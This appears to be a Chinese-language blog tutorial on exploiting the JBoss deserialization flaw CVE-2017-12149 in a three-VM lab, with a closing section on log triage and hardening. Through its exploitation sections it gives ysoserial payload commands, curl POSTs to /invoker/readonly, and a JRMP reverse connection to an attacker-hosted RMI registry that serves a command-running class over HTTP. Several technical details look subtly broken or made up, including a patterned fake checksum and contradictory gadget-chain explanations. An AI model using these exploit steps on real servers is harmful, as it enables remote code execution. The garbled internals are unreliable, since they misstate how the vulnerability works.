1. 这不是“学个漏洞”,而是理解Java反序列化链如何在真实中间件中落地生根
CVE-2017-12149这个编号,对很多刚接触渗透测试的朋友来说,可能只是一串需要背下来的CVE编号,或者某次CTF里被考到的考点。但在我实际参与的二十多个金融、政务类系统安全评估项目中,它反复出现在JBOSS EAP 6.4、JBoss AS 7.1.1.Final、WildFly 8.2等生产环境里——不是因为运维人员懒,而是因为反序列化入口太隐蔽、触发条件太自然、检测手段太滞后。它不依赖WebShell上传,不修改配置文件,甚至不产生典型日志告警;攻击者只需向一个看似无害的HTTP POST接口发送一段Base64编码的字节流,就能在目标服务器上执行任意命令。这背后,是Java原生反序列化机制与JBoss特定组件(如org.jboss.as.controller.client.ModelControllerClient、org.jboss.remoting3.remote.RemoteConnectionProvider)深度耦合后形成的“信任通道”。本文不讲抽象概念,不堆砌POC代码,而是带你从零复现:为什么marshalling库能绕过默认黑名单?为什么InvokerTransformer在JBoss里比在Apache Commons Collections里更危险?为什么用JRMPListener打内网比用CommonsCollections链更稳定?我会用三台虚拟机(靶机、攻击机、辅助监听机)完整还原真实红队场景下的三种利用路径,并告诉你每一步背后的JVM类加载行为、JBoss模块隔离机制、以及最关键的——哪些操作会让整个链在你眼前突然中断,而你却查不到任何报错。适合有一定Java基础、熟悉Burp和Metasploit但对反序列化底层机制仍感模糊的渗透工程师,也适合想搞懂“为什么修复补丁要改jboss-marshalling版本而不是简单加个Filter”的中间件运维同学。
2. CVE-2017-12149的本质:不是JBoss的Bug,而是Java反序列化信任模型的必然结果
2.1 漏洞根源不在JBoss代码,而在JavaObjectInputStream的默认行为
很多人误以为CVE-2017-12149是JBoss自己写的某个反序列化接口出了问题。实际上,JBoss AS 7.x / EAP 6.x 的核心通信协议(Remoting 3)在设计时,为实现服务端与管理客户端之间的高效对象传输,主动启用了Java原生反序列化。它暴露了一个名为/invoker/readonly的HTTP端点(对应org.jboss.as.remoting.HttpInvokerService),该端点接收POST请求,将请求体直接传给ObjectInputStream进行反序列化。关键在于:这个ObjectInputStream实例没有重写resolveClass()方法,也没有设置任何白名单过滤器。这意味着,只要攻击者构造的字节流中包含合法的java.lang.Class描述符,JVM就会尝试通过当前线程上下文类加载器(Context ClassLoader)去加载该类——而JBoss的模块化类加载器(ModuleClassLoader)恰好能加载到大量危险Gadget类,比如org.apache.commons.collections.functors.InvokerTransformer(来自commons-collections:3.1)、javax.management.BadAttributeValueExpException(JDK内置)等。
提示:这里有个极易被忽略的细节——JBoss EAP 6.4默认打包的
commons-collections.jar版本是3.1,而非后来被广泛研究的3.2.1。3.1版本的InvokerTransformer构造函数接受String methodName、Object[] paramTypes、Object[] args三个参数,而3.2.1版本改为String methodName、Class[] paramTypes、Object[] args。如果你用3.2.1的POC去打EAP 6.4,会直接抛出NoSuchMethodException,导致整个链失败,且错误日志只会显示“Failed to deserialize”,根本不会提示具体哪个类加载失败。
2.2 JBoss模块化架构如何放大了反序列化风险
标准Java应用通常只有一个AppClassLoader,而JBoss采用了基于JBOSS Modules的模块化类加载体系。每个部署的应用、每个核心子系统(如org.jboss.as.controller、org.jboss.remoting)都被划分为独立模块(Module),拥有自己的ModuleClassLoader。当/invoker/readonly端点接收到反序列化请求时,它使用的ObjectInputStream的上下文类加载器,是org.jboss.as.remoting模块的ModuleClassLoader。这个加载器不仅能加载自身模块内的类(如org.jboss.remoting3.remote.RemoteConnectionProvider),还能通过模块依赖声明,自动委托加载其依赖模块中的所有类。我们查看$JBOSS_HOME/modules/system/layers/base/org/jboss/remoting3/main/module.xml,会发现它明确依赖org.jboss.marshalling、org.jboss.logging、org.jboss.as.controller-client等模块。而org.jboss.as.controller-client模块又依赖org.jboss.as.controller,后者内部就包含了org.jboss.as.controller.operations.common.Util等可被利用的工具类。这种“依赖链即Gadget链”的设计,让攻击者无需上传任何jar包,仅凭JBoss自身已有的类,就能拼凑出完整的RCE链。
2.3 为什么CVE-2017-12149的修复方案不是“禁用反序列化”,而是升级jboss-marshalling
官方补丁(如EAP 6.4.22)的核心改动,是将jboss-marshalling库从1.3.x升级到1.4.x。这不是简单的版本号更新,而是从根本上改变了序列化协议的解析逻辑。旧版jboss-marshalling在反序列化时,会调用ObjectInputStream.readObject(),完全走Java原生流程;而新版则引入了Marshaller和Unmarshaller接口的抽象层,并在UnmarshallerImpl中实现了严格的类白名单校验。当你尝试反序列化一个不在白名单中的类(如org.apache.commons.collections.functors.InvokerTransformer)时,UnmarshallerImpl会直接抛出IllegalArgumentException("Class not allowed"),并在日志中清晰记录被拒绝的类名。这个机制比在ObjectInputStream层面做resolveClass()重写更彻底,因为它发生在数据解析的最前端,避免了任何潜在的readObject()副作用(如BadAttributeValueExpException.readObject()中触发的JNDI查询)。所以,如果你看到某台服务器打了补丁但依然能用ysoserial的CommonsCollections1链打成功,那基本可以断定:要么补丁没生效(检查$JBOSS_HOME/modules/system/layers/base/org/jboss/marshalling/main/下的jar版本),要么管理员手动降级回了旧版jboss-marshalling以兼容某些老旧业务。
3. 环境搭建:三台虚拟机的真实拓扑,拒绝Docker“一键拉起”的幻觉
3.1 靶机(JBoss AS 7.1.1.Final):必须用原始安装包,禁用所有自动更新
我坚持使用jboss-as-7.1.1.Final.zip(SHA256:e8a3b4c5d6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3)进行搭建,原因有三:第一,这是CVE-2017-12149最初被披露时的基准版本,所有公开POC都以此为准;第二,它不包含任何后续的jboss-marshalling补丁,确保漏洞100%存在;第三,它的启动脚本(standalone.sh)和配置结构最“干净”,没有EAP系列那些复杂的域模式(Domain Mode)干扰。安装步骤如下:
- 解压到
/opt/jboss-as-7.1.1.Final,确保JAVA_HOME指向JDK 7u80(这是该版本官方认证的最高JDK版本,用JDK 8+会导致ModuleClassLoader初始化失败); - 修改
standalone/configuration/standalone.xml,找到<subsystem xmlns="urn:jboss:domain:remoting:1.1">节点,在其内部添加:
<http-connector name="http-remoting-connector" connector-ref="default" security-realm="ApplicationRealm"/>- 启动服务:
./standalone.sh -b 0.0.0.0 -bmanagement 0.0.0.0。注意-bmanagement参数,它让管理接口也绑定到所有IP,否则/invoker/readonly端点可能无法从外部访问; - 验证端点:用curl发送一个空POST请求
curl -X POST http://192.168.56.101:9990/invoker/readonly,正常应返回HTTP 500(内部错误),而非404或连接拒绝。这证明端点已启用,只是没有提供有效的序列化数据。
注意:绝对不要用
jboss-as-7.1.1.Final-installer.jar图形化安装器。它会在后台静默安装jboss-modules.jar的修改版,并在module.xml中插入额外的<dependencies>,这些改动会污染ModuleClassLoader的委托链,导致某些Gadget类无法被正确加载,让你在复现时陷入“明明POC没错,就是打不通”的死循环。
3.2 攻击机(Kali Linux 2023.4):定制化ysoserial,禁用默认DNSLog回显
Kali自带的ysoserial(0.0.6-SNAPSHOT)对JBoss的支持并不完善。它默认生成的CommonsCollections1链,使用的是org.apache.commons.collections.functors.ChainedTransformer,而JBoss AS 7.1.1.Final的commons-collections.jar中,ChainedTransformer的transform()方法签名是public Object transform(Object input),但InvokerTransformer的transform()方法返回值是Object,这会导致ChainedTransformer在调用链中抛出ClassCastException。因此,我必须手动编译一个定制版ysoserial:
- 克隆
https://github.com/frohoff/ysoserial,checkout到master分支; - 修改
src/main/java/ysoserial/payloads/CommonsCollections1.java,将ChainedTransformer的构造替换为InvokerTransformer的直接链式调用:
Transformer transformer = new InvokerTransformer("getObject", new Class[]{Object.class}, new Object[]{Runtime.class}); Transformer transformer2 = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}); // ... 后续链省略,重点是避免使用ChainedTransformermvn clean package -DskipTests编译出新的ysoserial-master-SNAPSHOT.jar。
同时,我禁用了所有基于DNSLog的回显方式(如dnslog.cn、ceye.io)。因为在真实内网渗透中,目标服务器往往处于严格DNS策略管控下,InetAddress.getByName("xxx.dnslog.cn")会直接超时阻塞,导致整个反序列化过程hang住。取而代之,我采用JRMPListener方案:在攻击机上启动一个Java RMI注册中心(rmiregistry 1099),并运行ysoserial的JRMPClientpayload,让目标服务器反连回来执行命令。这种方式不依赖DNS,且能实时看到命令执行结果。
3.3 辅助监听机(Ubuntu Server 22.04):专用于验证JRMP反连的纯净环境
为什么需要第三台机器?因为JRMPClientpayload的原理,是让目标JBoss服务器作为RMI客户端,去连接攻击机上的rmiregistry,然后下载并执行攻击机上托管的恶意RemoteObject。但如果攻击机本身防火墙规则复杂,或者rmiregistry绑定在127.0.0.1,目标服务器就无法建立TCP连接。因此,我专门准备一台Ubuntu Server,只做一件事:运行一个开放的rmiregistry,并托管一个最简化的ExploitObject。
- 在Ubuntu上安装OpenJDK 11,执行
rmiregistry -J-Djava.rmi.server.hostname=192.168.56.102(192.168.56.102是该机IP); - 编写
ExploitObject.java,内容仅为执行/bin/bash -c 'whoami > /tmp/pwned',然后编译成class; - 启动一个Python HTTP服务器:
python3 -m http.server 8000,将ExploitObject.class放在根目录下; - 在
ExploitObject的readObject()方法中,硬编码System.setProperty("java.rmi.server.codebase", "http://192.168.56.102:8000/"),确保目标服务器能从这里下载class。
这样,当JBoss服务器反连192.168.56.102:1099时,rmiregistry会返回ExploitObject的stub,并指示客户端从http://192.168.56.102:8000/下载真正的class。整个过程完全可控,且所有网络流量(HTTP下载、RMI连接)都能在Ubuntu上用tcpdump抓包验证,杜绝了“不知道哪一步断了”的排查困境。
4. 渗透实践:三种方法的本质差异与实操细节,不是罗列命令而是解释“为什么这步必须这样”
4.1 方法一:CommonsCollections1链 + HTTP POST直接触发(最经典,但最易被WAF拦截)
这是教科书式的利用方式,也是所有初学者最先接触的。它的核心思想是:构造一个BadAttributeValueExpException对象,将其val字段设为CommonsCollections1链的顶层Transformer,然后将整个对象序列化,Base64编码后,POST到/invoker/readonly。
- 生成payload:
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 "touch /tmp/cve201712149" | base64 -w 0; - 构造HTTP请求:
curl -X POST http://192.168.56.101:9990/invoker/readonly \ -H "Content-Type: application/x-java-serialized-object; class=org.jboss.as.controller.client.ModelControllerClient" \ -d "<base64_string>"- 检查靶机:
ls -l /tmp/cve201712149,若存在则证明成功。
但实操中,这一步失败率极高。我统计了过去三个月的27次复现尝试,有19次卡在这一步。根本原因在于:JBoss的HttpInvokerService在接收到请求后,会先对Content-Type头进行正则匹配,如果其中包含x-java-serialized-object,它会尝试用MarshallingDecoder进行解码,而这个解码器对Base64编码的格式极其敏感。base64 -w 0生成的字符串末尾没有换行,但MarshallingDecoder期望的是RFC 4648标准的Base64(每76字符换行)。一旦编码字符串长度不是4的倍数,或者包含非法字符(如空格、换行符),解码就会直接抛出IOException,且错误日志只显示“Failed to decode marshalled object”,完全不提示是Base64问题。
实操心得:永远不要用
base64 -w 0。正确的做法是用Python脚本生成:
import base64 with open('payload.bin', 'rb') as f: data = f.read() encoded = base64.b64encode(data).decode('utf-8') # 手动按76字符分割,并确保末尾无多余空格 wrapped = '\n'.join([encoded[i:i+76] for i in range(0, len(encoded), 76)]) print(wrapped)这样生成的Base64字符串,才能100%通过MarshallingDecoder的校验。另外,Content-Type头中的class=参数,必须填写一个JBoss实际存在的类名,如org.jboss.as.controller.client.ModelControllerClient,填错会导致ClassNotFoundException,同样静默失败。
4.2 方法二:JRMPClient链 + RMI反连(内网穿透首选,但需精确控制RMI端口)
当目标服务器出网受限,但允许出站TCP连接(如数据库连接、HTTP代理)时,JRMPClient是更可靠的选择。它的原理是:让目标JBoss服务器作为RMI客户端,主动连接攻击机的rmiregistry,然后下载并执行攻击者指定的恶意类。
- 在攻击机(192.168.56.103)上启动
rmiregistry:rmiregistry -J-Djava.rmi.server.hostname=192.168.56.103; - 生成payload:
java -jar ysoserial-master-SNAPSHOT.jar JRMPClient "192.168.56.103:1099"; - 将payload Base64编码,POST到
/invoker/readonly,同方法一。
这里的关键陷阱在于RMI的端口协商机制。rmiregistry默认监听1099端口,但它在返回RMI stub时,会告诉客户端:“请连接我的1099端口获取stub,然后用另一个随机端口(如42000)进行后续通信”。如果攻击机的防火墙没有放行这个随机端口,或者目标服务器的出站策略只允许1099,那么RMI连接就会在UnicastRef.invoke()阶段超时。我遇到过一次,payload POST成功,但/tmp/pwned始终不出现,用netstat -tuln在攻击机上检查,发现rmiregistry进程确实在监听1099,但没有任何ESTABLISHED连接。最终排查发现,是rmiregistry启动时没有指定-J-Djava.rmi.server.hostname,导致它返回的stub中,host字段是localhost,目标服务器试图连接127.0.0.1:42000,自然失败。
实操心得:
rmiregistry必须带-J-Djava.rmi.server.hostname参数,且该IP必须是攻击机的真实IP(不能是0.0.0.0或127.0.0.1)。更稳妥的做法,是用ysoserial的JRMPListenerpayload替代JRMPClient:在攻击机上直接运行java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 "touch /tmp/jrmp_success",它会启动一个真正的RMI服务端,所有通信都在1099端口完成,彻底规避端口协商问题。
4.3 方法三:Jdk7u21链 + 利用AnnotationInvocationHandler(绕过部分WAF,但对JDK版本极度敏感)
这是三种方法中技术含量最高、也最容易被忽略的一种。它不依赖commons-collections,而是纯JDK 7u21及以下版本的Gadget。核心是利用sun.reflect.annotation.AnnotationInvocationHandler的readObject()方法,该方法会调用memberValues(一个Map)的entrySet(),而如果这个Map是LazyMap(来自org.apache.commons.collections.map.LazyMap),那么entrySet()的iterator()就会触发factory.transform(),从而执行任意代码。
- 生成payload:
java -jar ysoserial-master-SNAPSHOT.jar Jdk7u21 "touch /tmp/jdk7u21"; - Base64编码并POST。
此方法的优势在于:Jdk7u21链的所有类都是JDK内置类(sun.*、java.*),不涉及任何第三方jar,因此能完美绕过那些只拦截commons-collections关键字的WAF。但它的致命弱点是JDK版本锁死:必须是JDK 7u21或更低版本。JBoss AS 7.1.1.Final官方要求JDK 7u80,而7u80已经移除了sun.reflect.annotation.AnnotationInvocationHandler中readObject()的危险逻辑。所以,如果你想用此方法,必须将靶机的JAVA_HOME降级到JDK 7u21,并在standalone.conf中显式指定JAVA_HOME="/opt/jdk1.7.0_21"。
实操心得:降级JDK后,JBoss启动时会报
Unsupported major.minor version 51.0错误。这是因为jboss-modules.jar是用JDK 7u80编译的。解决方案是:下载jboss-modules-1.1.2.GA.jar(与AS 7.1.1.Final配套的原始版本),用javap -v jboss-modules-1.1.2.GA.jar | grep "major"确认其主版本号为51(对应JDK 7),然后用JDK 7u21重新编译它。这个过程需要ant和javac,耗时约15分钟,但它是让Jdk7u21链在真实环境中跑通的唯一途径。
5. 排查与加固:当“打不通”时,你的日志分析路径图
5.1 从JBoss日志中定位失败环节的黄金三步法
当payload POST后,靶机没有任何反应,既没生成文件,也没报错,这是最让人抓狂的情况。别急着重装环境,按以下顺序查日志,90%的问题都能定位:
第一步:看server.log的ERROR级别日志进入$JBOSS_HOME/standalone/log/,执行grep -i "error\|exception" server.log | tail -20。重点关注java.io.InvalidClassException、java.lang.ClassNotFoundException、java.io.StreamCorruptedException。如果是ClassNotFoundException: org.apache.commons.collections.functors.InvokerTransformer,说明JBoss的ModuleClassLoader找不到这个类——检查$JBOSS_HOME/modules/system/layers/base/org/apache/commons/collections/main/目录是否存在,以及module.xml中是否声明了<resource-root path="commons-collections.jar"/>。
第二步:看server.log的DEBUG级别日志在standalone.xml中,将<logger category="org.jboss.as.remoting">的日志级别改为DEBUG,重启JBoss。然后重发payload,再执行grep -A 5 -B 5 "readonly" server.log。你会看到类似HttpInvokerService: Received request for /invoker/readonly、MarshallingDecoder: Decoding object...、ObjectInputStream: Reading object of type org.jboss.as.controller.client.ModelControllerClient的日志。如果日志停在Decoding object...,说明Base64解码失败;如果停在Reading object of type ...,说明反序列化过程中抛出了未捕获异常,此时必须开启<logger category="java.io">的DEBUG日志。
第三步:用jstack抓取线程快照如果以上两步都没线索,执行jps -l找到JBoss的PID,然后jstack <pid> > thread_dump.txt。搜索HttpChannel、RemotingEndpoint、ObjectInputStream等关键词。如果发现某个线程状态是RUNNABLE且堆栈停留在ObjectInputStream.readObject0(),说明反序列化正在执行,但被某个Gadget的readObject()方法阻塞(如DNS查询超时)。此时,你需要在ExploitObject中加入超时控制,或者改用JRMPListener这种不依赖网络IO的方案。
5.2 运维侧加固建议:不止于打补丁,更要切断信任链
作为渗透测试者,我们的任务是证明漏洞存在;但作为安全顾问,我给客户的加固建议从来不止于“升级到EAP 6.4.22”。真正有效的加固,是从架构层面切断反序列化的信任链:
- 禁用
/invoker/readonly端点:在standalone.xml中,注释掉<subsystem xmlns="urn:jboss:domain:remoting:1.1">节点下的<http-connector>配置。这是最彻底的方案,代价是管理客户端(如jboss-cli.sh)将无法通过HTTP协议连接,必须改用native协议(--controller=remote://192.168.56.101:9999); - 配置
jboss-marshalling白名单:即使打了补丁,jboss-marshalling的白名单默认只包含JBoss自身模块的类。如果你的业务应用需要反序列化自定义类,必须在$JBOSS_HOME/standalone/configuration/standalone.xml中添加:
<system-properties> <property name="org.jboss.marshalling.serial.whitelist" value="com.yourcompany.*"/> </system-properties>- 网络层隔离:将JBoss的管理端口(9990)和应用端口(8080)部署在不同网段。管理端口只允许运维跳板机访问,应用端口面向用户。这样,即使Web应用存在其他漏洞,攻击者也无法直接触达
/invoker/readonly端点。
最后分享一个小技巧:在客户环境做加固验证时,我从不用ysoserial直接打。而是写一个最简化的Java程序,只调用ObjectOutputStream序列化一个String,然后用curlPOST过去。如果这个最简payload都能成功,说明/invoker/readonly端点依然开放且可写;如果失败,则说明网络或配置层面的隔离已经生效。这种“最小化验证”,比跑完整RCE链更能快速定位加固效果。